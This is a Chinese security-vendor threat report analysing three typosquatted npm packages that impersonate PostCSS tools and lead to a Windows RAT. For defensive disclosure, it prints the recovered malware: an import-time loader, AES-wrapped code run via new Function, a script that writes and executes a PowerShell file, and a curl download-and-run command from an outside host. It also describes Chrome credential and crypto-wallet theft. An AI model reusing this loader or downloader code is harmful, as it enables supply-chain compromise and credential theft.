文章总结: 慢雾安全团队发现三个伪装成postcss生态的恶意npm包(postcss-minify-selector、postcss-minify-selector-parser、aes-decode-runner-pro),通过typosquatting手法诱导开发者安装。这三个包相互关联构成完整攻击链:postcss-minify-selector作为导流包将控制权移交postcss-minify-selector-parser,后者通过多层加密壳隐藏恶意载荷,最终在Windows系统下载并执行伪装成NVIDIA驱动的远程访问木马。所有版本均为恶意,建议开发者检查依赖并移除相关包。 综合评分: 88 文章分类: 威胁情报,恶意软件,供应链安全,漏洞分析
威胁情报|PostCSS 伪装 npm 包三件套关联攻击链分析
原创
慢雾安全团队 慢雾安全团队
慢雾科技
2026年6月26日 21:02 中国香港
在小说阅读器读本章
去阅读
# 背景
#
近日,MistEye 安全监控系统在一次恶意 npm 包事件中关联到三个相互勾连的样本,分别为 postcss-minify-selector-0.1.9、postcss-minify-selector-parser-1.0.16 和 aes-decode-runner-pro-1.0.11。三个样本均在包名、README 和源码组织方式上刻意模仿 PostCSS 与 CSS selector parser 生态,且采用 typosquatting 手法——通过细微的拼写差异——来冒充高下载量的合法包。
需要特别说明的是,这三个包的全版本均为恶意——即 postcss-minify-selector、postcss-minify-selector-parser 和 aes-decode-runner-pro 从发布至今的每一个版本都内置了隐藏执行框架。本文选取其中三个代表性版本(0.1.9、1.0.16、1.0.11)做深入解构,但 IOC 和处置建议适用于这三个包名的所有已发布版本。
其中最关键的是 postcss-minify-selector:攻击者将其命名为 postcss-minify-selector(注意末尾没有 “s”),而 npm 上存在一个合法包 postcss-minify-selectors(末尾带 “s”)——该合法包属于 cssnano 工具链,是 PostCSS 生态中标准 CSS 压缩流程的一部分,周下载量高达 1836 万次。攻击者仅从包名中去掉一个字母 “s”,再利用相同的 description(”Minify selectors with PostCSS.”)、相同的 keywords(cssnano、postcss-plugin)和相似的 README,让开发者在手误或视觉疏忽时将恶意包当作合法包引入项目。postcss-minify-selector-parser 则进一步伪装为合法的 postcss-selector-parser(周下载量超 1.5 亿)的姊妹包,aes-decode-runner-pro 伪装为专业 AES 加解密工具。
这三个样本并非彼此孤立的独立事件。postcss-minify-selector-0.1.9 的入口文件在被 require() 时立即将控制流导向 postcss-minify-selector-parser 的恶意子路径;postcss-minify-selector-parser-1.0.16 在 AES-GCM 解密管线中隐藏了多阶段载荷,最终落地 PowerShell 并从伪装成 NVIDIA 驱动更新的域名下载 Windows 二阶段文件;aes-decode-runner-pro-1.0.11 则与执行器共享同一套代码骨架与加密材料,但默认密文仅为无害日志输出,更像是同家族攻击框架的前身或试验型样本。JFrog 安全研究团队于 2026 年 6 月 22 日发布的《From PostCSS Masquerading to Windows RAT》同样将这组包归为同一攻击事件,并追踪到同一 npm 发布账号。本文在 JFrog 公开情报的基础上,通过项目内静态解包工具与逐文件源码比对,对三个样本之间的同源关系和武器化演进路径做了独立交叉验证。
MistEye 响应
#
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统,集成了安全监控与情报聚合能力,为用户提供实时的风险预警与资产守护。
在捕获本次 PostCSS 伪装 npm 包事件及其关联样本后,MistEye 已对三个包的导入链、依赖链、隐藏执行链和代码同源关系完成还原,提取出下载域名、远程 URL、样本哈希与落地文件名等核心 IOC,并通过项目内 scripts/js_static_unpack.py 与 tools/node-decoder-runner/runner.mjs 在不执行样本的前提下恢复出隐藏载荷的完整明文。情报详情:
以下为详细技术分析。
攻击链分析
#
整条攻击链由三个样本分工协作构成,三个包的全版本均为恶意,以下选取代表性版本逐步拆解。
三个恶意包及其分析版本在攻击链中的角色如下:
#
# 第一步:导流包 postcss-minify-selector-0.1.9 —— 在入口处将控制流导向恶意依赖
#
该包的 package.json 声明 main 为 src/index.js,并在 dependencies 中依赖 postcss-minify-selector-parser: ^1.0.16。在 npm 语义化版本规则下,^1.0.16 将解析到 1.0.16,这意味着只要安装此依赖,恶意版本就会被拉入 node_modules。
文件:postcss-minify-selector-0.1.9/src/index.js(第1-6行)
'use strict'; require('postcss-minify-selector-parser/cjs-runner'); const { dirname } = require('path'); const browserslist = require('browserslist'); const { isSupported } = require('caniuse-api'); const parser = require('postcss-minify-selector-parser/selector-parser');
注意第2行的写法——require(‘postcss-minify-selector-parser/cjs-runner’),没有赋值给任何变量,也没有放在条件分支里。这种写法叫”仅导入不引用”,意味着只要 Node.js 加载这个文件,就会自动执行这一行,不需要任何额外操作。此时后面正常的 CSS 压缩逻辑——attribute 去引号、combinator 合并、pseudo 折叠、tag 替换、universal 移除等——还没开始跑,恶意代码先获得了执行权。
需要强调的是,该包自身不含生命周期脚本、网络通信、子进程启动或文件写入行为。独立扫描视角下它看起来”良性”,但它的设计目的并非自己作恶,而是把 require() 流量静默导向 postcss-minify-selector-parser 的隐藏执行入口。这是一种导入阶段的供应链导流攻击。
第二步:主执行器 postcss-minify-selector-parser-1.0.16 —— 公开导出 cjs-runner 子路径以连接隐藏执行链
#
该包在 README 中自称 CSS selector 解析库,但在 package.json 中为隐藏执行链准备了公开入口:
文件:postcss-minify-selector-parser-1.0.16/package.json(exports 片段)
"exports": { ".": "./index.js", "./custom-codec": "./src/index.js", "./selector-parser": "./src/selector-parser.js", "./cjs-runner": "./cjs-runner.js" },
文件:postcss-minify-selector-parser-1.0.16/cjs-runner.js(完整内容)
require("./scripts/cjs-runner");
文件:postcss-minify-selector-parser-1.0.16/scripts/cjs-runner.js(完整内容)
const { runDefaultDecodedFunction } = require("../src");
runDefaultDecodedFunction();
从 postcss-minify-selector-0.1.9 的 require(‘postcss-minify-selector-parser/cjs-runner’) → cjs-runner.js → scripts/cjs-runner.js → runDefaultDecodedFunction(),整条链路无任何条件分支或用户交互要求,完全自动化。
单纯 require(“postcss-minify-selector-parser”) 不会触发此链——它只会加载 src/index.js 并将隐藏配置加载进内存。真正触发执行的入口是 cjs-runner.js、scripts/cjs-runner.js、runtime/lib.min.js 这些显式的 runner 入口。而这恰好与 postcss-minify-selector-0.1.9 的副作用导入完全对接。
值得额外注意的是 src/index.js 的导出设计。该文件不仅公开了 AES-GCM 加解密函数和 decodeAndRunPlain、finalFinalDecodeAndRun、runDefaultDecodedFunction 等危险函数,还将 run 作为 runDefaultDecodedFunction 的别名导出,并使用 …selectorParser 展开运算符将合法包 postcss-selector-parser 的全部 API 合并导出:
module.exports = { DEFAULT_POSITION_OPTIONS, DEFAULT_CODEC_OPTIONS, DEFAULT_AES_SALT, DEFAULT_AES_PASSPHRASE, DEFAULT_FINAL_ENCODED_TEXT, encryptAesGcm, decryptAesGcm, customEncode, customEncodeFromDoubleEncoded, customDecode, decodeAndRunPlain, finalFinalDecodeToFunction, finalFinalDecodeAndRun, decodeDefaultFinalText, runDefaultDecodedFunction, run: runDefaultDecodedFunction, resolveConfig, selectorParser, postcssSelectorParser: selectorParser, ...selectorParser, // 展开合法 postcss-selector-parser 的全部 API };
这一设计使得 require(“postcss-minify-selector-parser”) 返回的对象既包含 isPseudo、isCombinator、isAttribute 等正常的 CSS selector 工具函数,又暗藏 run() / runDefaultDecodedFunction() / decodeAndRunPlain() 等执行入口。对审查者而言,包看起来就是对 postcss-selector-parser 的功能增强封装;对攻击者而言,所有执行能力都已公开可用。
第三步:密文解码 —— 三层包装 + 硬编码密钥 + new Function 动态执行
#
攻击者把恶意代码藏在三个嵌套的壳里,每一层都需要对应的”钥匙”才能解开。三层壳的嵌套顺序是:最外层 AES-256-GCM 加密 → 中间层位置打乱编码 → 最内层字符替换编码。解开这三层后,才能看到真正的恶意 JS 代码。
使用项目内 tools/node-decoder-runner/runner.mjs 和 scripts/js_static_unpack.py(均设置 executed_sample_code=false,只读不执行)逐层解码,恢复出以下明文。
两个包共享完全相同的”钥匙”——盐值、口令、打乱参数全部一样:
const DEFAULT_POSITION_OPTIONS = { shift: 4, unit: "_u_", interval: 3 }; const DEFAULT_CODEC_OPTIONS = { shift: 4, unit: "_u_", interval: 3, shuffleSeed: 2026, useBase64: true }; const DEFAULT_AES_SALT = "encode-npm-c-salt"; const DEFAULT_AES_PASSPHRASE = "default-dev-passphrase";
唯一不同是密文本身(DEFAULT_FINAL_ENCODED_TEXT),即外面那层壳里的具体内容:
aes-decode-runner-pro-1.0.11 解码结果(39 字节):
console.log("AES decode runner ready");
只是一个无害的打印语句。
postcss-minify-selector-parser-1.0.16 解码结果(1539 字节,SHA256: 48b2cbe992310360aa88be29f533a21b2cd36bc4ec07b3180babb3449a5f180b):
const a=(()=>{ const fs=require("fs"), filename="../../settings.ps1", key="AB59097(*^^zxcvbn", number="69 52 42 52 105 59 38 42 113 152 90 193 178 91 189 167 177 67 59 38 102 67 91 81 63 53 78 92 115 143 105 105 102 109 122 47 51 48 117 128 54 27 29 85 139 178 176 92 103 96 113 63 72 56 46 46 42 57 29 99 87 96 109 176 84 120 87 95 119 117 105 110 104 41 53 33 33 100 81 126 119 157 101 101 158 68 123 37 55 41 101 126 74 25 85 100 115 123 157 156 87 114 64 64 38 59 119 115 88 32 31 98 96 193 178 122 124 85 109 136 135 120 59 41 42 100 59 76 120 117 133 104 97 111 121 116 52 70 52 114 29 55 46 109 113 152 129 124 108 86 116 91 116 52 64 45 50 71 63 42 39 113 163 161 124 113 84 163 117 144 91 89 64 41 46 50 78 46 29 98 93 191 164 170 102 86 114 54 64 44 44 119 126 122 42 35 79 139 141 154 125 141 109 94 63 59 76 63 35 61 54 51 28 85 97 128 107 101 175 83 115 53 135"; // XOR/减法解码:对每个 number[i],用 key[j] + 103 做计算 if(!number.trim())throw new Error("NUMBERS is empty."); const parts=number.split(/\s+/).filter(p=>p!==" "), keyBytes=Buffer.from(key,"utf8"),output=[]; let j=0; for(let i=0;i<parts.length;i++){ const num=parseInt(parts[i],10); let k=keyBytes[j]+103; output.push(k>=num?k-num:num); j++; if(j===keyBytes.length)j=0; } let decoded; try{decoded=Buffer.from(output).toString("utf8")} catch{decoded=Buffer.from(output).toString("latin1")} fs.writeFileSync(filename,decoded,{encoding:"utf8"}); const ps = require("child_process").exec( 'powershell -ExecutionPolicy Bypass -File ../../settings.ps1' ); ps.on("exit",()=>{ try{require("fs").unlinkSync(filename);} catch(e){console.error(e)} }); })();
src/pipeline/custom-codec-pipeline.js 中的 runDefaultDecodedFunction() 在未收到外部传参时,会依次回退到 process.env.AES_PASSPHRASE 和硬编码口令,然后对 DEFAULT_FINAL_ENCODED_TEXT 解密,并将结果直接交给 new Function 执行:
function decodeAndRunPlain(aesEncodedInput, config = {}) { const decoded = customDecode(aesEncodedInput, config); const runnable = String(decoded.decodedPlainText); new Function("require", runnable)(require); return runnable; }
function runDefaultDecodedFunction(config = {}) { const resolvedConfig = { ...config, passphrase: config.passphrase || process.env.AES_PASSPHRASE || DEFAULT_AES_PASSPHRASE, }; return finalFinalDecodeAndRun({ finalEncodedText: DEFAULT_FINAL_ENCODED_TEXT, config: resolvedConfig, }); }
概括来说,攻击者的隐藏手法是把真正的恶意代码装进三层嵌套的盒子:
• 第三层(最内层):把代码的字符位置按照固定规则打乱(每4个字符一组,间隔3个单位插入占位符 _u_),需要按规则重新排列才能恢复。
• 第二层(中间层):对上一层的结果再做一次类似的打乱,并加上 Base64 编码,打乱的种子值固定为 2026。
• 第一层(最外层):用 AES-256-GCM(一种强加密算法)加密,密钥由上面的盐值 “encode-npm-c-salt” 和口令 “default-dev-passphrase” 经过 scrypt 算法派生出来。
这三层的目的不是保护用户数据,而是让安全工具和审查者无法直接看到密文里的真实代码。
第四步:静态解包恢复第二层载荷 —— PowerShell 下载器
#
上面解出来的 JS 代码还不是终点——它内部还藏了一层壳。该代码拿到 number 数组后,用密钥 “AB59097(*^^zxcvbn” 做逐位减法运算,恢复出真正的 settings.ps1 内容。用脚本进一步提取,得到第二层——PowerShell 下载器(223 字节):
curl.exe -k -o "$env:TEMP\winPatch.zip" http://nvidiadriver.net/verv1432/winpatch-xd7d.win; Expand-Archive -Force -Path "$env:TEMP\winPatch.zip" -DestinationPath "$env:TEMP\winPatch"; wscript "$env:TEMP\winPatch\update.vbs"
该 PowerShell 一行完成三个动作:使用 curl.exe 跳过证书校验从 nvidiadriver.net 下载压缩包 → Expand-Archive 解压到 %TEMP%\winPatch → wscript 执行 update.vbs。域名 nvidiadriver.net 和路径 verv1432/winpatch-xd7d.win 均刻意模仿 NVIDIA 驱动更新流程,降低被受害者注意到的概率。执行完成后,layer1 JS 会在子进程退出时通过 fs.unlinkSync 删除 settings.ps1,属于临时落地、执行、清痕的三段式操作。
第五步:Windows 二阶段 —— Python RAT 与信息窃取器
#
winPatch.zip 解压后包含一个自带 Python 3.10 运行时的投递包(本地样本 SHA256: b9a8ae1e6d2c875e21c77f3b9255ca0b3b0b3e0addbb2c3c865e5b95eb734d22)。其核心恶意逻辑被 Nuitka 编译为 .pyd(PE32+ DLL),而非明文 .py 文件,增加了静态分析门槛。以下基于本地二进制样本的字符串/符号/导入恢复结果做简要概述(完整分析见独立二进制分析报告)。
启动链:
update.vbs 以拼接字符串(”cm” & “d.exe”、”ch” & “ost.exe”)规避静态规则,先解压同目录 dll.zip,再以隐藏窗口(Run(…, 0, False))执行 cmd /c chost.exe loader.py。chost.exe 实为重命名的 Python 解释器(PDB: D:\_w\1\b\bin\amd64\python.pdb),loader.py 仅一行有效代码:
import audiodriver if hasattr(audiodriver, "start"): audiodriver.start()
所有恶意逻辑集中在 audiodriver.cp310-win_amd64.pyd 中。
持久化:
audiodriver 启动后立即写入注册表 Run 键:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run csshost = wscript.exe “<目录>\update.vbs”
键名 csshost 模仿系统进程命名。同时通过 %TEMP%.store(PID 文件)和 %TEMP%.host(UUID 文件)实现单实例控制与主机标识。
C2 通信:
C2 地址硬编码为 http://95.216.92.207:8080。通信时,样本会把要发送的数据用随机密钥做 ARC4 流加密,再附上 MD5 校验码防止传输错误,整套通信包伪装成普通的二进制数据(Content-Type: application/octet-stream)通过 HTTP POST 发出。这种外观看似普通的 HTTP 请求可以绕过只检查明文流量的安全设备。
RAT 命令集:
| | | | — | — | | 命令字 | 功能 | | vbcx(TERMINAL) | 通过 subprocess.Popen/shell=True 执行任意系统命令 | | asdf(FILE_UPLOAD) | C2 下发 tar.gz,样本解压到指定路径 | | zxcv(FILE_DOWNLOAD) | 样本打包本地文件并通过 C2 回传 | | r4ys(AUTO) | 触发窃密模块 |
信息窃取:
auto.cp310-win_amd64.pyd 实现两个窃密路径:
1. Chrome 保存密码:读取 Chrome 用户数据目录下的 Login Data 数据库,查询其中保存的所有网站登录记录(网址、用户名、密码),并解密两种 Chrome 密码加密格式(v10 旧版和 v20 新版)。对于新版 Chrome 更强的 App-Bound 保护机制,样本会尝试提升自身权限到 SYSTEM 级别、调用 Windows 原生加密接口(CNG)来解开保护密钥——说明攻击者专门为突破 Chrome 最新安全机制做了准备。
2. 钱包扩展数据:枚举 Chrome Local Extension Settings 中 30+ 个扩展 ID 的本地 LevelDB 数据,包括 MetaMask(nkbihfbeogaeaoehlefnkodbefgpgknn)、Phantom(bfnaelmomeimhlpmgjnjophhpkkoljpa)等已知钱包扩展。收集结果打包为 gather.tar.gz 并通过 C2 回传。
反虚拟化:
样本通过 WMI 查询(wmic computersystem get model、wmic bios get serialnumber)、进程名检测(vboxservice、vmtoolsd 等)和 MAC 前缀匹配(00:05:69、00:0c:29、00:50:56 等)识别 VMware/VirtualBox/KVM/QEMU/Hyper-V 环境。
模块总结:
| | | | — | — | | 模块 | 角色 | | update.vbs | 隐藏窗口启动器 | | chost.exe | 重命名的 Python 3.10 解释器 | | loader.py | 明文入口,加载 audiodriver | | audiodriver.pyd | 主控:持久化、C2 调度、命令分发 | | config.pyd | 配置:C2 URL、命令字、扩展 ID、注册表路径 | | api.pyd | C2 传输:ARC4 加密 + HTTP POST | | command.pyd | RAT 功能:系统探测、任意命令执行、文件传输、VM 检测 | | auto.pyd | 窃密:Chrome 密码解密 + 钱包扩展数据收集 | | util.pyd | 压缩/解压:tar.gz 打包 |
以上二阶段分析基于本地二进制样本的静态字符串/符号恢复,未动态执行,更详细的模块重构与 IOC 见独立二进制分析报告。
第六步:载荷嵌入的冗余设计
#
使用 scripts/js_static_unpack.py 对 1.0.16 的多个入口文件执行静态解包,结果显示 layer1 JS(1539 字节)和 layer2 settings.ps1(223 字节)同时嵌入在以下五个源文件中:
1. examples/run-custom-flow.js
2. scripts/cjs-runner.js
3. src/config/defaults.js
4. src/index.js
5. src/pipeline/custom-codec-pipeline.js
五个文件恢复出的 layer1 JS 哈希值完全一致,settings.ps1 哈希值也完全一致。这种”多处备份”的设计意味着即使部分文件被安全工具或审查者移除,载荷仍可通过其他文件恢复。
需要说明的是,examples/run-custom-flow.js 虽然也嵌入了载荷,但它只演示正常的编码解码用法,不会触发恶意链路——五个文件能恢复出相同载荷,是因为它们都引用了同一份配置(defaults.js)和同一份解码逻辑(custom-codec-pipeline.js),相当于同一份”图纸”被多个房间的摄像头拍到,但不代表每个房间都是入口。真正会触发执行的,还是前面提到的 cjs-runner 和脚本入口这类直接调用链。
关联样本:同源执行框架与分工式投递
三个样本之间存在两类可以独立验证的硬证据:直接调用关系与代码同源关系。
硬证据一:postcss-minify-selector-0.1.9 通过依赖链直接调用 postcss-minify-selector-parser-1.0.16。
这不是风格相似或命名接近的弱关联。前者在 dependencies 中声明了 postcss-minify-selector-parser: ^1.0.16,包根入口第2行直接执行 require(‘postcss-minify-selector-parser/cjs-runner’);后者在 exports 中公开了 ./cjs-runner 并将它接到 runDefaultDecodedFunction()。链条从调用端到被调用端完全闭合。
硬证据二:aes-decode-runner-pro-1.0.11 与 postcss-minify-selector-parser-1.0.16 共享同一套代码骨架。
通过 diff -rq 对两个解包目录做全量比对,确认共有 7 个文件字节级一致:
| | | | — | — | | 同源文件 | 说明 | | runtime/lib.min.js | 相同的一行启动器:require(“../src”).run() | | scripts/cjs-runner.js | 相同的 runner:直接调用 runDefaultDecodedFunction() | | src/aes/aes-gcm.js | 相同的 AES-256-GCM 加解密实现 | | src/selector-parser.js | 相同的合法包转发封装 | | custom-codec.js | 相同的根转发层 | | examples/run-custom-flow.js | 相同的示例编码流程 | | test-selector-parser.js | 相同的测试脚本 |
此外,两者还共享完全相同的 DEFAULT_AES_SALT(”encode-npm-c-salt”)、DEFAULT_AES_PASSPHRASE(”default-dev-passphrase”)、编码参数,以及相同的动态执行方式——new Function(“require”, runnable)(require),即把解码出的字符串直接当作 JavaScript 代码来跑。
差异集中在 6 个文件,均服务于”武器化”目标:
| | | | | — | — | — | | 变化点 | aes-decode-runner-pro-1.0.11 | postcss-minify-selector-parser-1.0.16 | | 包名与 README | 自称 AES / codec 工具 | 改写成 PostCSS selector parser 叙事 | | 对外触发面 | exports 中无 ./cjs-runner | 新增并公开 ./cjs-runner,新增 cjs-runner.js 文件 | | 默认密文 | 解包后为 console.log(“AES decode runner ready”)(39 字节) | 解包后为写盘 + PowerShell + 下载链(1539 字节) | | 编码管线 | 导出 9 个函数 | 额外增加并导出 customEncodeFromDoubleEncoded | | src/index.js | 导出 9 个管线函数,含 run 别名和 …selectorParser 展开 | 导出 10 个管线函数,含 run 别名和 …selectorParser 展开 |
这些差异表明 aes-decode-runner-pro-1.0.11 是隐藏执行框架的原型或早期版本,而 postcss-minify-selector-parser-1.0.16 是在同一骨架上换名、换皮、换载荷后形成的实战化版本。从原型到实战的关键变化只有三步:改包名和 README(伪装层)、新增 cjs-runner.js 并公开导出(触发面)、替换默认密文(载荷层)。执行骨架、加密管线、密钥材料完全不动。
外部佐证与本地验证:npm 发布者与 Windows 二阶段。
JFrog 于 2026年6月22日发布的公开文章指出,调查期间观察到的 npm publisher 为 abdrizak,并将三个包列为一组相关包。该文章同样将攻击链追踪到 update.vbs → chost.exe → audiodriver 的 Windows RAT 阶段。本文在此基础上进一步获取了二阶段二进制样本(win-driver-xd7d),通过本地字符串/符号静态恢复独立验证了其 C2 通信协议(ARC4 + MD5 自定义封包)、持久化机制(HKCU Run\csshost)、RAT 命令集(终端执行/文件传输/窃密调度)、Chrome 凭据解密路径(v10/v20 + App-Bound 绕过)以及钱包扩展 ID 枚举目标,确认该样本属于具备完整远程控制与信息窃取能力的 Python/Nuitka RAT。
伪装层次总览
#
回顾整条事件链,攻击者在多个层面都做了伪装,最核心的是对合法高下载量包名的 typosquatting:
| | | | | — | — | — | | 层面 | 伪装成什么 | 实际是什么 | | 域名仿冒(核心) | postcss-minify-selectors(合法包,cssnano 生态,周下载 1836 万)→ 去掉末尾 “s” 变成 postcss-minify-selector | 将 require() 流量导向恶意子路径的导流触发器 | | 域名仿冒 | postcss-selector-parser(合法包,周下载 1.5 亿)→ 插入 “minify-” 变成 postcss-minify-selector-parser | 内置隐藏解密执行器的多阶段下载执行器 | | 包级别 | aes-decode-runner-pro — 专业 AES 加解密工具 | 同源隐藏执行框架的前身/试验型样本 | | 导出接口 | …selectorParser 展开合法包的全部 API,run: runDefaultDecodedFunction 别名 | 审查者看到的是 postcss-selector-parser 的功能增强;实际导出了 run() 即解密执行入口 | | 文件命名 | runtime/lib.min.js | 仅一行 require(“../src”).run(),.min.js 后缀误导为第三方压缩库 | | 转发封装 | src/selector-parser.js | 仅一行 module.exports = require(“postcss-selector-parser”),纯为降低审查怀疑 | | 下载基础设施 | nvidiadriver.net、winPatch.zip、update.vbs | 伪装成 NVIDIA 驱动补丁更新的 Windows 二阶段引导链 |
合法包与恶意包的命名对照:
| | | | | | — | — | — | — | | 合法包 | 周下载量 | 恶意包(typosquatting) | 拼写差异 | | postcss-minify-selectors | 1836 万 | postcss-minify-selector | 去掉末尾 “s” | | postcss-selector-parser | 1.5 亿 | postcss-minify-selector-parser | 插入 “minify-” |
# 总结
#
该事件不是单一恶意包,而是一条分工明确的三包攻击链路,其入口依赖包名 typosquatting 手法获取初始安装量。postcss-minify-selector 通过去除合法包 postcss-minify-selectors(周下载 1836 万次)末尾的 “s” 来冒充 cssnano 工具链的标准组件,在 require() 时将控制流导向恶意依赖子路径;postcss-minify-selector-parser-1.0.16 负责通过 AES-GCM 加密管线解密隐藏载荷、落地并执行 PowerShell、下载 Windows 二阶段文件;aes-decode-runner-pro-1.0.11 则是同一执行框架的原型版本,当前载荷虽无害但架构具备完整武器化条件。从原型到实战的变化仅涉及伪装层、触发面和载荷层,执行骨架完全不动。
导入阶段触发而非安装阶段触发。 三个样本中均未发现 postinstall、prepare 一类生命周期钩子。恶意行为在 require(“postcss-minify-selector”) 时触发,而非 npm install 时触发。这对受影响面评估很关键——应将排查重点放在”哪些项目在运行时或构建时实际 import/require 了这些包”,而非仅排查 node_modules 目录中是否存在。
四层嵌套隐藏真实载荷。 攻击者把恶意代码包了四层壳:最外层 AES 加密 → 位置打乱 → 字符替换 → 最内层数值减法编码。四层全部剥开后才能看到真实的 PowerShell 下载命令。解码结果分为两段:第一段是负责”写文件、执行、删文件”的 JS 脚本,第二段是从 nvidiadriver.net 下发的 PowerShell 下载器。
本地证据完整覆盖从 npm 导入到 Windows RAT 的全攻击链。 通过静态解包确认了 npm 包层的 hidden JS Bootstrapper → PowerShell 下载器;通过本地二进制静态分析进一步确认了二阶段 Python/Nuitka RAT 的 C2 通信、持久化、远程命令执行、Chrome 凭据窃取(含 App-Bound 绕过)及钱包扩展数据收集能力。全链条各阶段均有本地样本与静态恢复产物支撑。
建议:
1. 立即从项目依赖、私有镜像、制品缓存和本地 npm cache 中移除 postcss-minify-selector、postcss-minify-selector-parser 和 aes-decode-runner-pro 三个包的全部版本(全版本均为恶意,本文仅以其中三个版本为代表进行分析)。
2. 检索代码仓库、构建脚本和打包产物中是否出现 require(‘postcss-minify-selector-parser/cjs-runner’)、require(‘postcss-minify-selector-parser’)、require(‘postcss-minify-selector’) 或 require(‘aes-decode-runner-pro’) 的导入痕迹。
3. 对命中过该链路的 Windows 主机重点排查 settings.ps1、%TEMP%\winPatch.zip、%TEMP%\winPatch\update.vbs、%TEMP%.store、%TEMP%.host,以及 node.exe → powershell.exe → wscript.exe → chost.exe 的异常进程链。
4. 在 DNS、代理、EDR 和出口防火墙侧封禁 nvidiadriver[.]net 及 http[:]//nvidiadriver[.]net/verv1432/winpatch-xd7d[.]win。若 JFrog 披露的 C2 地址 95[.]216[.]92[.]207:8080 在环境中存在访问记录,应按主机已受控处理。
5. 若主机已进入 PowerShell 下载阶段,轮换浏览器保存凭据、开发令牌、npm token、Git 凭据及相关企业访问凭据。
6. 对与这组包同一时间窗发布、同样使用 PostCSS / selector / parser / codec / AES 命名空间的相邻包做代码复核,重点关注是否存在 cjs-runner 子路径、硬编码 AES 密文与口令、以及 new Function 与加解密操作的组合。
IOC
#
域名
nvidiadriver[.]net
URL
http[:]//nvidiadriver[.]net/verv1432/winpatch-xd7d[.]win
IP
95[.]216[.]92[.]207(C2,TCP/8080)
恶意依赖
postcss-minify-selector(全版本恶意,累计下载 256 次) postcss-minify-selector-parser(全版本恶意,累计下载 615 次) aes-decode-runner-pro(全版本恶意,累计下载 145 次)
恶意文件
filename: postcss-minify-selector-0.1.9.tar.gz MD5: fd88e9d15a88dfea94d6dc0c5fd5b5a1 SHA1: 522a22d4ac651c61315156e9bded11f1ec60acb9 SHA256: fde00bdc067b9160bb6499eba75d26aa0cd604033b6d98097cd2a9713b30948f
filename: postcss-minify-selector-parser-1.0.16.tar.gz MD5: 328123d0f7ff9ddb83509dc3f1e41b74 SHA1: 40d4f4c0dc2517be551c3fb71fddb4c9c383b834 SHA256: 69817276538416b06785c436d3515a480eece5b4085b4e92c997d13c18c0e14f
filename: aes-decode-runner-pro-1.0.11.tar.gz MD5: afa80a9d2e12f4682a6af602cab5c5b0 SHA1: f0ee6c5672d7349c881fc16c525b69731571ff38 SHA256: efff7b20ef6c743c112dbe1a49dc90fcd687b7959cc36596c45783bfb025f197
filename: settings.ps1(静态解包恢复) SHA256: b3625f09cd3a7494e036efb258308e96e6c0f173db2c2567aae95017f3fb42ba
filename: win-driver-xd7d.zip(Windows 二阶段投递包) SHA256: b9a8ae1e6d2c875e21c77f3b9255ca0b3b0b3e0addbb2c3c865e5b95eb734d22
filename: audiodriver.cp310-win_amd64.pyd(RAT 主控模块) SHA256: 164e322d6fbc62e254d73583acd7f39444c884d3f5e6a5d27db143fc25bc88b3
filename: auto.cp310-win_amd64.pyd(窃密模块) SHA256: 17832aa629524ef6e8d8d6e9b6b902a8d324b559e3c36dbd0e221ab1690be871
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写,有任何问题欢迎咨询反馈。**
往期回顾
Aztec Connect 2.2M 美元资产被盗分析:电路缺失等式约束门
MistTrack 季度更新:风险衰减模型、链路分析与开发者能力增强
威胁情报|Arch Linux AUR 供应链投毒关联恶意 npm 包分析
专精百强发布:慢雾科技荣获区块链安全领域单项冠军
Aztec Connect 被盗 219 万美元资产分析:ZK-Rollup 结算边界绕过致 L1/L2 状态分歧
慢雾导航
慢雾科技官网
https://www.slowmist.com/
慢雾区官网
https://slowmist.io/
慢雾 GitHub
https://github.com/slowmist
Telegram
https://t.me/slowmistteam
https://twitter.com/@slowmist_team
Medium
https://medium.com/@slowmist
知识星球
https://t.zsxq.com/Q3zNvvF
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:慢雾科技 慢雾安全团队 慢雾安全团队《威胁情报|PostCSS 伪装 npm 包三件套关联攻击链分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论